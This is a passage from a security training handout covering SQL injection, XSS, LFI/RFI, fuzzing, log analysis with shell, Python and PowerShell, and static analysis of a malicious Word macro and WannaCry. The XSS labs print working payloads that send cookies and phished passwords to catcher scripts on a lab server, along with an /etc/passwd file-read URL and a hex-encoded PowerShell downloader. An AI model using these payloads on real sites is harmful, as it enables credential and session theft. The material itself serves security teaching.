2201. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
2202.
2203. Here is a good reference for it:
2204. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
2205.
2206. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The
     double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to
     be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment
     syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries.
     Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be
     immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to
     be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
2207.
2208.
2209. ###############################################################################
2210. # What is XSS                                                                 #
2211. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
2212. ###############################################################################
2213.
2214. OK - what is Cross Site Scripting (XSS)
2215.
2216. 1. Use Firefox to browse to the following location:
```

```
2217.
2218.     http://45.63.104.73/xss_practice/
2219.
2220.     A really simple search page that is vulnerable should come up.
2221.
2222.
2223.
2224.
2225. 2. In the search box type:
2226.
2227.     <script>alert('So this is XSS')</script>
2228.
2229.
2230.     This should pop-up an alert window with your message in it proving XSS is in fact possible.
2231.     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
2232.
2233.
2234. 3. In the search box type:
2235.
2236.     <script>alert(document.cookie)</script>
2237.
2238.
2239.     This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
2240.     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
2241.
2242. 4. Now replace that alert script with:
2243.
2244.     <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
```

```
2245.
2246.
2247. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
2248.
2249.
2250. 5. Now view the stolen cookie at:
2251.     http://45.63.104.73/xss_practice/cookie_stealer_logs.html
2252.
2253.
2254. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
2255.
2256.
2257.
2258.
2259.
2260.
2261. ############################
2262. # A Better Way To Demo XSS #
2263. ############################
2264.
2265.
2266. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the
     search box.
2267.
2268.
2269. Use Firefox to browse to the following location:
2270.
2271.     http://45.63.104.73/xss_practice/
```

```
2272.
2273.
2274.
2275. Paste this in the search box
2276. ----------------------------
2277.
2278.
2279. Option 1
2280. --------
2281.
2282. <script>
2283. password=prompt('Your session is expired. Please enter your password to continue',' ');
2284. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
2285. </script>
2286.
2287.
2288. Now view the stolen cookie at:
2289.     http://45.63.104.73/xss_practice/passwords.html
2290.
2291.
2292.
2293. Option 2
2294. --------
2295. <script>
2296. username=prompt('Please enter your username',' ');
2297. password=prompt('Please enter your password',' ');
2298. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
2299. </script>
```

```
2300.
2301.
2302.
2303.
2304. Now view the stolen cookie at:
2305. http://45.63.104.73/xss_practice/username_password_logs.html
2306.
2307.
2308.
2309.
2310. ##########################################
2311. # Let's try a local file include (LFI)  #
2312. ##########################################
2313. - Here is an example of an LFI
2314. - Open this page in Firefox:
2315. http://45.63.104.73/showfile.php?filename=contactus.txt
2316.
2317. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
2318. - Here you see a direct reference to a file on the local filesystem of the victim machine.
2319. - You can attack this by doing the following:
2320. http://45.63.104.73/showfile.php?filename=/etc/passwd
2321.
2322. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
2323. - somewhere else on the Internet. Here is an example of a text file on the web:
2324. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
2325.
2326. - Now we can attack the target via RFI like this:
```

```
http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt



################################
# How much fuzzing is enough? #
################################
There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.

Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.


Step 1: Ask yourself the 3 questions per page of the site.

Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)

Step 3: When you load your fuzz strings - use the following decision tree

    - Are the fuzz strings causing a default error message (example 404)?
        - If this is the case then it is most likely NOT vulnerable

    - Are the fuzz strings causing a WAF or LB custom error message?
        - If this is the case then you need to find an encoding method to bypass

```

```
2352.
2353.     - Are the fuzz strings causing an error message that discloses the backend type?
2354.         - If yes, then identify DB type and find correct syntax to successfully exploit
2355.         - Some example strings that I use are:
2356.             '
2357.             "
2358.             ()          <----- Take the parameter value and put it in parenthesis
2359.             (5-1)       <----- See if you can perform an arithmetic function
2360.
2361.
2362.     - Are the fuzz strings rendering executable code?
2363.         - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
2364.         - Some example strings that I use are:
2365.             <b>hello</b>
2366.             <u>hello</u>
2367.             <script>alert(123);</script>
2368.             <script>alert(xss);</script>
2369.             <script>alert('xss');</script>
2370.             <script>alert("xss");</script>
2371.
2372.
2373.
2374.
2375. ##################
2376. #  Log Analysis #
2377. ##################
2378.
2379. VM for these labs
```

```
-----------------
- InfoSec Addicts Ubuntu Virtual Machine
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
user: infosecaddicts
pass: infosecaddicts


- Windows 7 Virtual Machine
https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
user: workshop
pass: password




################################################
# Log Analysis with Linux command-line tools #
################################################
The following command line executables are found in the Mac as well as most Linux Distributions.

cat –  prints the content of a file in the terminal window
grep – searches and filters based on patterns
awk –  can sort each row into fields and display only what is needed
sed –  performs find and replace functions
sort – arranges output in an order
uniq – compares adjacent lines and can report, filter or provide a count of duplicates


```

```
2408.
2409.
2410. ##############
2411. # Cisco Logs #
2412. ##############
2413.
2414. ----------------------------Type This-----------------------------------
2415.
2416. wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log
2417. ------------------------------------------------------------------------
2418.
2419.
2420. AWK Basics
2421. ----------
2422. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5.
    Only the last 4 lines are being shown for brevity.
2423.
2424. ----------------------------Type This-----------------------------------
2425.
2426. cat cisco.log | awk '{print $5}' | tail -n 4
2427. ------------------------------------------------------------------------
2428.
2429.
2430.
2431.
2432. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found
    in "$5", group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping
    the output through "sort", using "uniq -c" to count the like entries, then using "sort -rn" to sort it in reverse order.
```

```
2433.
2434. ----------------------------Type This-----------------------------------
2435.
2436. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
2437. ------------------------------------------------------------------------
2438.
2439.
2440.
2441.
2442. While that's sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren't
     conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that
     we are at least looking at lines of text that contain "facility-level-mnemonic".
2443.
2444. ----------------------------Type This-----------------------------------
2445.
2446. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
2447. ------------------------------------------------------------------------
2448.
2449.
2450.
2451.
2452.
2453. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see
     all occurrences is to use grep.
2454.
2455. ----------------------------Type This-----------------------------------
2456.
2457. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
```

```
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
----------------------------------------------------------------------




##################################
# Using Python for log analysis #
##################################



##########################################
# Python Basics Lesson 1: Simple Printing #
##########################################

--------------------------Type This-----------------------------------

>>> print 1

>>> print hello

```

```
>>> print "hello"

>>> print "Today we are learning Python."
------------------------------------------------------------------------



##################################################
# Python Basics Lesson 2: Simple Numbers and Math #
##################################################

---------------------------Type This-----------------------------------

>>> 2+2

>>> 6-3

>>> 18/7

>>> 18.0/7

>>> 18.0/7.0

>>> 18/7

>>> 9%4

>>> 8%4
```

```
>>> 8.75%.5

>>> 6.*7

>>> 6*6*6

>>> 6**3

>>> 5**12

>>> -5**4

----------------------------------------------------------------------



########################################
# Python Basics Lesson 3: Variables #
########################################

---------------------------Type This-----------------------------------

>>> x=18

>>> x+15
```

```
>>> x**3

>>> y=54

>>> x+y

>>> age=input("Enter number here: ")
        43

>>> age+32

>>> age**3

>>> fname = raw_input("Enter your first name: ")

>>> lname = raw_input("Enter your first name: ")

>>> fname = raw_input("Enter your name: ")
Enter your name: Joe

>>> lname = raw_input("Enter your name: ")
Enter your name: McCray

>>> print fname
Joe

>>> print lname
```

```
McCray

>>> print fname lname

>>> print fname+lname
JoeMcCray
------------------------------------------------------------------------



NOTE:
Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.




##################################################
# Python Basics Lesson 4: Modules and Functions #
##################################################

----------------------------Type This-----------------------------------

>>> 5**4

>>> pow(5,4)

>>> abs(-18)
```

```
>>> abs(5)

>>> floor(18.7)

>>> import math

>>> math.floor(18.7)

>>> math.sqrt(81)

>>> joe = math.sqrt

>>> joe(9)

>>> joe=math.floor

>>> joe(19.8)

----------------------------------------------------------------------
```

```
2626. ###################################
2627. # Python Basics Lesson 5: Strings #
2628. ###################################
2629.
2630. --------------------------Type This-----------------------------------
2631.
2632. >>> "XSS"
2633.
2634. >>> 'SQLi'
2635.
2636. >>> "Joe's a python lover"
2637.
2638. >>> 'Joe\'s a python lover'
2639.
2640. >>> "Joe said \"InfoSec is fun\" to me"
2641.
2642. >>> a = "Joe"
2643.
2644. >>> b = "McCray"
2645.
2646. >>> a, b
2647.
2648. >>> a+b
2649.
2650. ------------------------------------------------------------------------
2651.
2652.
2653.
```

```
2654.
2655.
2656.
2657.
2658. ########################################
2659. # Python Basics Lesson 6: More Strings #
2660. ########################################
2661.
2662. ---------------------------Type This-----------------------------------
2663.
2664. >>> num = 10
2665.
2666. >>> num + 2
2667.
2668. >>> "The number of open ports found on this system is " + num
2669.
2670. >>> num = str(18)
2671.
2672. >>> "There are " + num + " vulnerabilities found in this environment."
2673.
2674. >>> num2 = 46
2675.
2676. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
2677. -----------------------------------------------------------------------
2678.
2679.
2680.
2681. NOTE:
```

```
Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
```

```
################################################
# Python Basics Lesson 7: Sequences and Lists #
################################################
```

```
---------------------------Type This-----------------------------------
```

```
>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
```

```
>>> attacks
['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
```

```
>>> attacks[3]
'SQL Injection'
```

```
>>> attacks[-2]
'Cross-Site Scripting'
-----------------------------------------------------------------------
```

```
2710.
2711.
2712.
2713. ########################################
2714. # Python Basics Level 8: If Statement #
2715. ########################################
2716.
2717. --------------------------Type This-----------------------------------
2718.
2719. >>> attack="SQLI"
2720. >>> if attack=="SQLI":
2721.         print 'The attacker is using SQLI'
2722.
2723. >>> attack="XSS"
2724. >>> if attack=="SQLI":
2725.         print 'The attacker is using SQLI'
2726. ----------------------------------------------------------------------
2727.
2728.
2729. ##############################
2730. # Reference Videos To Watch #
2731. ##############################
2732. Here is your first set of youtube videos that I'd like for you to watch:
2733. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
2734.
2735.
2736.
2737.
```

```
2738.
2739. ######################################
2740. # Lesson 9: Intro to Log Analysis #
2741. ######################################
2742.
2743. Login to your StrategicSec Ubuntu machine. You can download the VM from the following link:
2744.
2745. - InfoSec Addicts Ubuntu Virtual Machine
2746. https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
2747. user: infosecaddicts
2748. pass: infosecaddicts
2749.
2750.
2751.
2752. Then execute the following commands:
2753.
2754. ---------------------------Type This-----------------------------------
2755.
2756.
2757. wget https://s3.amazonaws.com/infosecaddictsfiles/access_log
2758.
2759.
2760. cat access_log | grep 141.101.80.188
2761.
2762. cat access_log | grep 141.101.80.187
2763.
2764. cat access_log | grep 108.162.216.204
2765.
```

```
cat access_log | grep 173.245.53.160

-------------------------------------------------------

Google the following terms:
        - Python read file
        - Python read line
        - Python read from file




############################################################
# Lesson 10: Use Python to read in a file line by line #
############################################################

Reference:
http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/




Let's have some fun.....

---------------------------Type This-----------------------------------
```

```
>>> f = open('access_log', "r")

>>> lines = f.readlines()

>>> print lines

>>> lines[0]

>>> lines[10]

>>> lines[50]

>>> lines[1000]

>>> lines[5000]

>>> lines[10000]

>>> print len(lines)
```

```
2822.
2823. ---------------------------Type This-----------------------------------
2824. vi logread1.py
2825.
2826. ---------------------------Paste This----------------------------------
2827.
2828. ## Open the file with read only permit
2829. f = open('access_log', "r")
2830.
2831. ## use readlines to read all lines in the file
2832. ## The variable "lines" is a list containing all lines
2833. lines = f.readlines()
2834.
2835. print lines
2836.
2837.
2838. ## close the file after reading the lines.
2839. f.close()
2840.
2841. -----------------------------------------------------
2842.
2843.
2844. Google the following:
2845.         - python difference between readlines and readline
2846.         - python readlines and readline
2847.
2848.
2849.
```

```
2850.
2851.
2852. ##################################
2853. # Lesson 11: A quick challenge #
2854. ##################################
2855.
2856. Can you write an if/then statement that looks for this IP and print "Found it"?
2857.
2858.
2859. 141.101.81.187
2860.
2861.
2862.
2863.
2864.
2865.
2866. ----------------------------------------------------------
2867. Hint 1: Use Python to look for a value in a list
2868.
2869. Reference:
2870. http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
2871.
2872.
2873.
2874.
2875. ----------------------------------------------------------
2876. Hint 2: Use Python to prompt for user input
2877.
```

```
Reference:
http://www.cyberciti.biz/faq/python-raw_input-examples/




------------------------------------------------------
Hint 3: Use Python to search for a string in a list

Reference:
http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string




Here is my solution:
-------------------
$ python
>>> f = open('access_log', "r")
>>> lines = f.readlines()
>>> ip = '141.101.81.187'
>>> for string in lines:
...     if ip in string:
...             print(string)


```

```
2906.
2907. Here is one student's solution - can you please explain each line of this code to me?
2908. ------------------------------------------------------------------------------
2909. #!/usr/bin/python
2910.
2911. f = open('access_log')
2912.
2913. strUsrinput = raw_input("Enter IP Address: ")
2914.
2915. for line in iter(f):
2916.     ip = line.split(" - ")[0]
2917.     if ip == strUsrinput:
2918.         print line
2919.
2920. f.close()
2921.
2922.
2923.
2924.
2925. -------------------------------
2926.
2927. Working with another student after class we came up with another solution:
2928.
2929. #!/usr/bin/env python
2930.
2931.
2932. # This line opens the log file
2933. f=open('access_log',"r")
```

```
2934.
2935. # This line takes each line in the log file and stores it as an element in the list
2936. lines = f.readlines()
2937.
2938.
2939. # This lines stores the IP that the user types as a var called userinput
2940. userinput = raw_input("Enter the IP you want to search for: ")
2941.
2942.
2943.
2944. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
2945. for ip in lines:
2946.     if ip.find(userinput) != -1:
2947.         print ip
2948.
2949.
2950.
2951. ####################################################
2952. # Lesson 12: Look for web attacks in a log file #
2953. ####################################################
2954.
2955. In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your
     web server log.
2956. Supported attacks:
2957. 1.          SQL Injection
2958. 2.          Local File Inclusion
2959. 3.          Remote File Inclusion
2960. 4.          Cross-Site Scripting
```

```
2961.
2962.
2963. ----------------------------Type This-----------------------------------
2964.
2965. wget https://s3.amazonaws.com/infosecaddictsfiles/scan_log.py
2966. ------------------------------------------------------------------------
2967.
2968. - The usage for scan_log.py is simple.  You feed it an apache log file.
2969.
2970. ----------------------------Type This-----------------------------------
2971.
2972. cat scan_log.py | less                  (use your up/down arrow keys to look through the file)
2973. ------------------------------------------------------------------------
2974.
2975.
2976.
2977.
2978.
2979. ################################
2980. # Log Analysis with Powershell #
2981. ################################
2982.
2983. VM for these labs
2984. -----------------
2985. https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
2986.         username: workshop
2987.         password: password
2988.
```

```
2989.
2990. You can do the updates in the Win7 VM (yes, it is a lot of updates).
2991.
2992. You'll need to create directory in the Win7 VM called "c:\ps"
2993.
2994. ######################
2995. # Powershell Basics #
2996. ######################
2997.
2998. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
2999.
3000. PowerShell file extension end in .ps1 .
3001.
3002. An important note is that you cannot double click on a PowerShell script to execute it.
3003.
3004. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories ->
     Windows PowerShell -> Windows PowerShell.
3005.
3006. ----------------------------Type This-----------------------------------
3007.
3008. dir
3009. cd
3010. ls
3011. cd c:\
3012. ------------------------------------------------------------------------
3013.
3014.
3015. To obtain a list of cmdlets, use the Get-Command cmdlet
```

```
3016.
3017. ----------------------------Type This-----------------------------------
3018.
3019. Get-Command
3020. ------------------------------------------------------------------------
3021.
3022.
3023.
3024. You can use the Get-Alias cmdlet to see a full list of aliased commands.
3025.
3026. ----------------------------Type This-----------------------------------
3027.
3028. Get-Alias
3029. ------------------------------------------------------------------------
3030.
3031.
3032.
3033. Don't worry you won't blow up your machine with Powershell
3034.
3035. ----------------------------Type This-----------------------------------
3036.
3037. Get-Process | stop-process                          What will this command do?
3038. Get-Process | stop-process -whatif
3039. ------------------------------------------------------------------------
3040.
3041.
3042. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
3043.
```

```
---------------------------Type This----------------------------------

Get-Help Get-Command

Get-Help Get-Service –online

Get-Service -Name TermService, Spooler

Get-Service –N BITS

Start-Transcript
-----------------------------------------------------------------------

PowerShell variables begin with the $ symbol. First lets create a variable

---------------------------Type This----------------------------------

$serv = Get-Service –N Spooler
-----------------------------------------------------------------------

To see the value of a variable you can just call it in the terminal.

---------------------------Type This----------------------------------

$serv

$serv.gettype().fullname
-----------------------------------------------------------------------
```

```
3072.
3073.
3074. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the
      object to Get-Member or pass it in
3075.
3076. ----------------------------Type This-----------------------------------
3077.
3078. $serv | Get-Member
3079.
3080. Get-Member -InputObject $serv
3081. ------------------------------------------------------------------------
3082.
3083.
3084.
3085.
3086.
3087. Let's use a method and a property with our object.
3088.
3089. ----------------------------Type This-----------------------------------
3090.
3091. $serv.Status
3092. $serv.Stop()
3093. $serv.Refresh()
3094. $serv.Status
3095. $serv.Start()
3096. $serv.Refresh()
3097. $serv.Status
3098. ------------------------------------------------------------------------
```

```
3099.
3100.
3101.
3102.
3103. Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first
      call.
3104.
3105.
3106.
3107. ##############################
3108. # Simple Event Log Analysis #
3109. ##############################
3110.
3111. Step 1: Dump the event logs
3112. ---------------------------
3113. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
3114.
3115. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log
      such as the Security, Application, or System event logs.
3116. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
3117.
3118. ----------------------------Type This-----------------------------------
3119.
3120. Get-EventLog -LogName application | Export-Clixml Applog.xml
3121.
3122. type .\Applog.xml
3123.
3124. $logs = "system","application","security"
```

```
3125. ------------------------------------------------------------------
3126.
3127. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell
     console
3128.
3129. ----------------------------Type This-----------------------------------
3130.
3131. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
3132. ------------------------------------------------------------------
3133.
3134.
3135.
3136. Step 2: Import the event log of interest
3137. ---------------------------------------
3138. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
3139. Store the results in a variable.
3140. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
3141.
3142. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest
     entries are obtained.
3143.
3144. ----------------------------Type This-----------------------------------
3145.
3146. $seclog = Import-Clixml security.xml
3147.
3148. $seclog | select -Last 5
3149. ------------------------------------------------------------------
3150.
```

```
3151.
3152. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
3153.
3154. ----------------------------Type This-----------------------------------
3155.
3156. Get-EventLog Application -After (Get-Date).AddDays(-1)
3157. ------------------------------------------------------------------------
3158.
3159. You can use '-after' and '-before' to filter date ranges
3160.
3161. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the
     NFTS and share permissions that are assigned to the location where you store everything.
3162. By default, an ordinary user does not have permission to read the security log.
3163.
3164.
3165. Step 3: Drill into a specific entry
3166. ----------------------------------
3167. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose
     all of the properties.
3168.
3169. ----------------------------Type This-----------------------------------
3170.
3171. $seclog | select -first 1 | fl *
3172. ------------------------------------------------------------------------
3173.
3174. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
3175.
3176. ----------------------------Type This-----------------------------------
```

```
3177.
3178. ($seclog | select -first 1).message
3179.
3180. (($seclog | select -first 1).message).gettype()
3181.
3182. ---------------------------------------------------------------------
3183.
3184.
3185. In the *nix world you often want a count of something (wc -l).
3186. How often is the SeSecurityPrivilege privilege mentioned in the message property?
3187. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results
     to the Measure-Object cmdlet to determine the number of events:
3188.
3189. ----------------------------Type This-----------------------------------
3190.
3191. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
3192.
3193. ---------------------------------------------------------------------
3194.
3195. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather
     the matches by the EventID property.
3196.
3197. ----------------------------Type This-----------------------------------
3198.
3199. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
3200. ---------------------------------------------------------------------
3201.
```

```
Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
Use the count property to determine the total number of entries in the event log.

--------------------------Type This-----------------------------------

$seclog.Count
------------------------------------------------------------------------




############################
# Simple Log File Analysis #
############################

You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA

--------------------------Type This-----------------------------------

mkdir c:\ps
cd c:\ps
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
------------------------------------------------------------------------

```

```
3229.
3230.
3231.
3232.
3233.
3234.
3235.
3236. ################################################
3237. # Intrusion Analysis Using Windows PowerShell #
3238. ################################################
3239.
3240. Download sample file http://pastebin.com/raw.php?i=ysnhXxTV into the c:\ps directory
3241.
3242.
3243.
3244.
3245. ----------------------------Type This-----------------------------------
3246.
3247. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
3248.
3249. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
3250.
3251. ------------------------------------------------------------------------
3252.
3253.
3254.
3255. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr
     in Windows.
```

```
3256.
3257. ----------------------------Type This-----------------------------------
3258.
3259. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
3260.
3261. ------------------------------------------------------------------------
3262.
3263.
3264.
3265. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-
     Object.
3266.
3267. ----------------------------Type This-----------------------------------
3268.
3269. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
3270. ------------------------------------------------------------------------
3271.
3272.
3273.
3274. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
3275.
3276. ----------------------------Type This-----------------------------------
3277.
3278. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty
     value | Sort-Object -Unique | Measure-Object
3279. ------------------------------------------------------------------------
3280.
3281.
```

```
3282.
3283. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts
      the IP addresses.
3284.
3285. ----------------------------Type This-----------------------------------
3286.
3287. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty
      value | Sort-Object -Unique
3288. ------------------------------------------------------------------------
3289.
3290.
3291. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the
      matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by
      using the alias for Sort-Object: sort count –des.
3292. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
3293.
3294. ----------------------------Type This-----------------------------------
3295.
3296. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value
      | sort count -des
3297. ------------------------------------------------------------------------
3298.
3299.
3300.
3301.
3302.
3303.
3304. ##############################################
```

```
# Parsing Log files using windows PowerShell #
##############################################

Download the sample IIS log http://pastebin.com/LBn64cyA

----------------------------Type This-----------------------------------

(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")

Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
------------------------------------------------------------------------



The above command would give us all the WebDAV requests.

To filter this to a particular user name, use the below command:

----------------------------Type This-----------------------------------

Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
------------------------------------------------------------------------



Some more options that will be more commonly required :

For Outlook Web Access : Replace WebDAV with OWA
```

```
3333.
3334. For EAS : Replace WebDAV with Microsoft-server-activesync
3335.
3336. For ECP : Replace WebDAV with ECP
3337.
3338.
3339.
3340. To find out the count of the EWS request we can go ahead and run the below command
3341.
3342. ----------------------------Type This-----------------------------------
3343.
3344. (Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "Useralias")}).count
3345. ------------------------------------------------------------------------
3346.
3347.
3348.
3349.
3350.
3351.
3352.
3353. ################################
3354. # Good references for WannaCry #
3355. ################################
3356.
3357. References:
3358.
3359. https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
3360. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
```

```
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html



############################
# Download the Analysis VM #
############################
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
user: infosecaddicts
pass: infosecaddicts



- Log in to your Ubuntu system with the username 'infosecaddicts' and the password 'infosecaddicts'.




################
# The Scenario #
################
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).


The fastest thing you can do is perform static analysis.
```

```
3388.
3389. ---------------------------Type This-----------------------------------
3390.
3391. sudo pip install olefile
3392.      strategicsec
3393.
3394. mkdir ~/Desktop/oledump
3395.
3396. cd ~/Desktop/oledump
3397.
3398. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
3399.
3400. unzip oledump_V0_0_22.zip
3401.
3402. wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
3403.
3404. unzip 064016.zip
3405.      infected
3406.
3407. python oledump.py 064016.doc
3408.
3409. python oledump.py 064016.doc -s A4 -v
3410.
3411. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
3412. - Three of the data streams are flagged as macros: A3:'VBA/Module1', A4:'VBA/Module2', A5:'VBA/ThisDocument'.
3413.
3414.
3415. python oledump.py 064016.doc -s A5 -v
```

```
3416.
3417. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
3418.
3419.
3420. python oledump.py 064016.doc -s A3 -v
3421. ----------------------------------------------------------------------
3422.
3423. - Look for "GVhkjbjv" and you should see:
3424.
3425. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C6963792062797061737320D6E6F70726F66696C6520284E65772D4F626A65637
3426.
3427. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
3428. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
3429.
3430.
3431.
3432. ####################
3433. # Static Analysis #
3434. ####################
3435.
3436. - After logging please open a terminal window and type the following commands:
3437.
3438. ----------------------------Type This-----------------------------------
3439.
3440. cd Desktop/
3441.
3442. wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
3443.
```

```
unzip wannacry.zip
     infected

file wannacry.exe

mv wannacry.exe malware.pdf

file malware.pdf

mv malware.pdf wannacry.exe

hexdump -n 2 -C wannacry.exe
----------------------------------------------------------------------




***What is '4d 5a' or 'MZ'***
Reference:
http://www.garykessler.net/library/file_sigs.html


---------------------------Type This-----------------------------------


objdump -x wannacry.exe

```

```
